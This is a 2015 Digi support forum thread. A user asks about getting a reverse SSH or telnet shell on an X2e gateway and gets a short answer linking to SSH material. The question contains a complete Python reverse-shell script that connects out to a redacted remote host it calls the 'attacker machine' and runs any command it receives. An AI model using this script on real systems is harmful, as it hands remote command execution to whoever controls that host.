Home/Support/Support Forum/Reverse telnet/ssh Gateway X2e
Welcome to Digi Forum, where you can ask questions and receive answers from other members of the community.

Reverse telnet/ssh Gateway X2e

0 votes
I'm looking for information about reverse ssh or telnet.
import socket,subprocess HOST = 'XXXXXXXXXX' # The remote host PORT = 443 # The same port as used by the server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # connect to attacker machine s.connect((HOST, PORT)) # send we are connected s.send('[*] Connection Established!') # start loop while 1: # recieve shell command data = s.recv(1024) # if its quit, then break out and close socket if data == "quit": break # do shell command proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) # read output stdout_value = proc.stdout.read() + proc.stderr.read() # send output to attacker s.send(stdout_value) # close socket s.close()
This code seems to don't work on X2e ?
Someone, use a solution to have some shell on gateway ?
Best regards.
asked Oct 9, 2015 in 3rd Party Python and API development in other Languages by Rolland New to the Community (10 points)

Please log in or register to answer this question.

1 Answer

0 votes
Best answer

I am not expert in python but I think this link could help you this is for SSH

Click here

answered Oct 9, 2015 by mhdazeem Community Contributor (55 points)
selected Oct 9, 2015 by Rolland
Thanks a lot !